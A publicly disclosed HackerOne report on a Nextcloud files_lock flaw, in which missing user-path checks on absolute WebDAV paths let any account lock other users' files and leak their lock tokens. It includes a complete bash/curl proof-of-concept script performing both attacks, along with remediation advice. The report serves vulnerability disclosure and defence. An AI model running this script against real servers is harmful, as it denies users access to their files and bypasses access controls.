HexBrain

Nextcloud · Report #3301553

Cross-User Lock/Unlock via Absolute DAV Path

Validstatus
mediumseverity
23upvotes
17 Sept 2026disclosed

Summary

https://github.com/nextcloud/security-advisories/security/advisories/GHSA-783r-vj89-5x2q

How it was found

Summary

Any authenticated user can lock or unlock files they do not own by targeting absolute WebDAV paths of other users. The DAV plugin resolves files from the absolute request URI without verifying that the <userId> path segment matches the authenticated session user. This enables:

  • Cross-user manual locks : attacker locks a victim's files, blocking writes (PUT/MOVE/DELETE, editor saves).
  • Lock-token disclosure: the app returns the lock token to unauthorized callers, enabling them to remove token-based locks (client locks) of other users.

This is exploitable in default Docker dev setups and standard deployments where the files_lock app is enabled.

Affected components and vulnerable code

  1. DAV plugin resolves from absolute path without verifying path user vs session user, enabling cross-user targetting.

(https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockPlugin.php#L186)

public function httpLock(RequestInterface $request, ResponseInterface $response) {
    if ($request->getHeader('X-User-Lock')) {
        $lockType = (int)($request->getHeader('X-User-Lock-Type') ?? ILock::TYPE_USER);
        $response->setHeader('Content-Type', 'application/xml; charset=utf-8');

        $file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());

(https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockPlugin.php#L220)

public function httpUnlock(RequestInterface $request, ResponseInterface $response) {
    if ($request->getHeader('X-User-Lock')) {
        $lockType = (int)($request->getHeader('X-User-Lock-Type') ?? ILock::TYPE_USER);
        $response->setHeader('Content-Type', 'application/xml; charset=utf-8');

        $file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());
  1. Absolute resolver trusts path <userId> and does not verify against session. (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/Service/FileService.php#L110)
public function getFileFromAbsoluteUri(string $uri): Node {
    [$root, $userId, $path] = explode('/', trim($uri, '/') . '/', 3);
    if ($root !== 'files') {
        throw new NotFoundException();
    }
    $path = '/' . $path;
    $file = $this->rootFolder->getUserFolder($userId)
        ->get($path);
    return $file;
}
  1. Backend may also use absolute resolution depending on server tree. (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockBackend.php#L115)
private function getFileFromUri(string $uri): Node {
    if ($this->absolute) {
        return $this->fileService->getFileFromAbsoluteUri($uri);
    }
    return $this->fileService->getFileFromUri($uri);
}
  1. Lock token disclosure to unauthorized callers.

(https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockPlugin.php#L247)

} catch (UnauthorizedUnlockException $e) {
    $lock = $this->lockService->getLockFromFileId($file->getId());
    $response->setStatus(Http::STATUS_LOCKED);
    $response->setBody(
        $this->server->xml->write(
            '{DAV:}prop',
            $this->getLockProperties($lock, $file)
        )
    );
}

(https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockPlugin.php#L269)

private function getLockProperties(?FileLock $lock, Node $file): array {
    // ...
    return [
        // ...
        Application::DAV_PROPERTY_LOCK_TOKEN => $lock ? $lock->getToken() : null,
    ];
}

Additionally, the OCS controller returns the token in 423 responses: (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/Controller/LockController.php#L108)

} catch (UnauthorizedUnlockException $e) {
    $lock = $this->lockService->getLockFromFileId((int)$fileId);
    $response = new DataResponse();
    $response->setStatus(Http::STATUS_LOCKED);
    $response->setData($lock->jsonSerialize());
    return $response;
}

POC

Prerequisites:

  • Nextcloud instance with files_lock enabled.
  • Two valid users (victim alice and attacker admin below). Any authenticated user works; admin is not required.

My POC will do two exploits

Exploit A: Cross-user lock DoS (attacker locks Alice’s file)

Exploit B: Token leak + unauthorized unlock


#!/usr/bin/env bash

# PoC script for Nextcloud files_lock vulnerabilities
# - Exploit A: Cross-user manual lock DoS via absolute DAV path
# - Exploit B: Lock token leak to unauthorized caller + unauthorized unlock

# Config (override via env before running)
: "${BASE_URL:=http://localhost:8080}"
: "${ALICE_USER:=alice}"
: "${ALICE_PASS:=AlicePass123!}"
: "${ATTACKER_USER:=admin}"
: "${ATTACKER_PASS:=admin}"

set -u
set -o pipefail

log() {
  printf "\n==> %s\n" "$*"
}

require_cmd() {
  command -v "$1" >/dev/null 2>&1 || { echo "Missing required command: $1"; exit 1; }
}

require_cmd curl
require_cmd sed
require_cmd grep
require_cmd date

# Create unique file names per run
TS="$(date +%s)"
RAND="${RANDOM:-0}"
FILE_A="pocA_${TS}_${RAND}.txt"
FILE_B="pocB_${TS}_${RAND}.txt"

ALICE_DAV_A="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_A}"
ALICE_DAV_B="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_B}"

log "Using BASE_URL=${BASE_URL}"
log "Victim user: ${ALICE_USER} | Attacker user: ${ATTACKER_USER}"

upload_file_as_alice() {
  local url="$1"; local content="$2"
  log "Uploading victim file as ${ALICE_USER}: ${url}"
  printf '%s\n' "${content}" | curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -T - "$url" | tee /tmp/poc_upload.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/poc_upload.out | tail -n1
}

exploit_a() {
  log "Exploit A: Cross-user lock DoS by ${ATTACKER_USER} on ${ALICE_USER}'s file"
  log "Attacker LOCK with X-User-Lock on ${ALICE_DAV_A}"
  curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X LOCK -H 'X-User-Lock: 1' "${ALICE_DAV_A}" | tee /tmp/pocA_lock.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocA_lock.out | tail -n1
  echo "Lock owner:" $(grep -oE '<nc:lock-owner>[^<]+' /tmp/pocA_lock.out | sed 's/.*>//' | head -n1)

  log "Alice attempts to modify (expected 423 Locked)"
  curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'new content' "${ALICE_DAV_A}" | tee /tmp/pocA_put.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocA_put.out | tail -n1
}

exploit_b() {
  log "Exploit B: Token leak + unauthorized unlock on fresh file"
  log "Ensure no manual lock exists (best-effort unlock by attacker)"
  curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}" | tee /tmp/pocB_cleanup.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocB_cleanup.out | tail -n1 || true

  log "Alice creates a token-based LOCK"
  cat > /tmp/lockinfo.xml <<'XML'
<?xml version="1.0" encoding="utf-8" ?>
<D:lockinfo xmlns:D="DAV:">
  <D:lockscope><D:exclusive/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  <D:owner>alice-client</D:owner>
</D:lockinfo>
XML
  curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X LOCK -H 'Content-Type: application/xml' --data-binary @/tmp/lockinfo.xml "${ALICE_DAV_B}" | tee /tmp/pocB_lock_alice.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocB_lock_alice.out | tail -n1
  echo "Lock-Token header (from Alice response):" $(grep -i '^Lock-Token:' /tmp/pocB_lock_alice.out | sed 's/Lock-Token:[[:space:]]*//I' | tr -d '\r')

  log "Attacker sends UNLOCK with X-User-Lock to leak token (expected 423 with token in XML body)"
  curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}" | tee /tmp/pocB_leak.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocB_leak.out | tail -n1
  LEAKED_TOKEN=$(grep -oE '<nc:lock-token>[^<]+' /tmp/pocB_leak.out | sed 's/.*>//' | head -n1 || true)
  if [[ -z "${LEAKED_TOKEN}" ]]; then
    echo "[!] Failed to parse leaked token from body; showing response snippet:" 
    sed -n '1,120p' /tmp/pocB_leak.out
    exit 1
  fi
  echo "Leaked token:" "${LEAKED_TOKEN}"

  log "Attacker unlocks with leaked token (expected 204 No Content)"
  curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H "Lock-Token: <opaquelocktoken:${LEAKED_TOKEN}>" "${ALICE_DAV_B}" | tee /tmp/pocB_unlock.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocB_unlock.out | tail -n1

  log "Alice modifies file after attacker unlock (expected 204)"
  curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'after unlock' "${ALICE_DAV_B}" | tee /tmp/pocB_put.out >/dev/null
  grep -E '^HTTP/1\.[01] ' /tmp/pocB_put.out | tail -n1
}

verify_notes() {
  printf "\nVerification:\n"
  printf "- Exploit A: You should see 200 on attacker LOCK and 423 on Alice PUT.\n"
  printf "  File: %s\n" "${ALICE_DAV_A}"
  printf "- Exploit B: You should see 423 (with <nc:lock-token>…) then 204 on attacker UNLOCK, then 204 on Alice PUT.\n"
  printf "  File: %s\n" "${ALICE_DAV_B}"
  printf "\nYou can also open the Files app as Alice and confirm lock icons/ability to edit these files.\n"
}

# Run
upload_file_as_alice "${ALICE_DAV_A}" "hello from PoC A"
exploit_a

upload_file_as_alice "${ALICE_DAV_B}" "hello from PoC B"
exploit_b

verify_notes



Steps to reproduce

  1. Nextcloud installed
  2. Enable the app: docker exec -u www-data nextcloud php occ app:enable files_lock.
  3. Create users (e.g., alice, admin).
  4. Run the script.
  5. Verify the demonstration visiting alice account and see the lock icon on file and open it and try to write somethng it , you won't because it is locked by attacker.

What’s happening under the hood

  • The DAV plugin calls getFileFromAbsoluteUri($requestUri) which parses /remote.php/dav/files/<userId>/<path> and directly opens <userId>’s folder, ignoring the authenticated session user.
  • Therefore a logged-in user can operate on /files/alice/... while authenticated as bob/admin, applying user-locks to Alice’s files.
  • On unauthorized unlock attempts, the app constructs and returns lock properties including the lock-token, leaking it to the attacker, who can then send a standard UNLOCK with that token to clear the lock.

Prerequisites for exploitation

  • Attacker has any valid Nextcloud account (no admin required).
  • Attacker can reach the DAV endpoint (default /remote.php/dav).
  • Attacker can guess or observe a victim username and file path. In practice user IDs and paths are often predictable or discoverable.

Recommended remediation

  1. Enforce user scoping in DAV handlers:

    • In lib/DAV/LockPlugin.php httpLock/httpUnlock, do not use getFileFromAbsoluteUri blindly. Either:
      • Resolve nodes in the context of the session user, or
      • Parse the path <userId> and verify it equals IUserSession->getUser()->getUID(). If mismatch, return 403/404.
  2. Harden getFileFromAbsoluteUri:

    • Verify the extracted <userId> equals the current session user and/or perform proper permission checks. Reject otherwise.
  3. Do not disclose lock tokens to unauthorized callers:

    • Remove token from getLockProperties() and OCS unlocking() responses unless the caller is authorized.

Impact

  • Any user on a multi-tenant Nextcloud can cause widespread write-denial by locking other users’ files at will (single request per file), disrupting collaboration and automation (desktop/mobile clients, online editors, CI pipelines writing into user folders).
  • The lock token (credential-like secret) for token-based client locks is exposed to unauthorized users, allowing them to remove locks placed by client apps, increasing friction and risking data loss due to concurrent edits.
  • No social engineering, special setup, or elevated privileges are required beyond having an account and guessing/knowing the victim username and a path.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original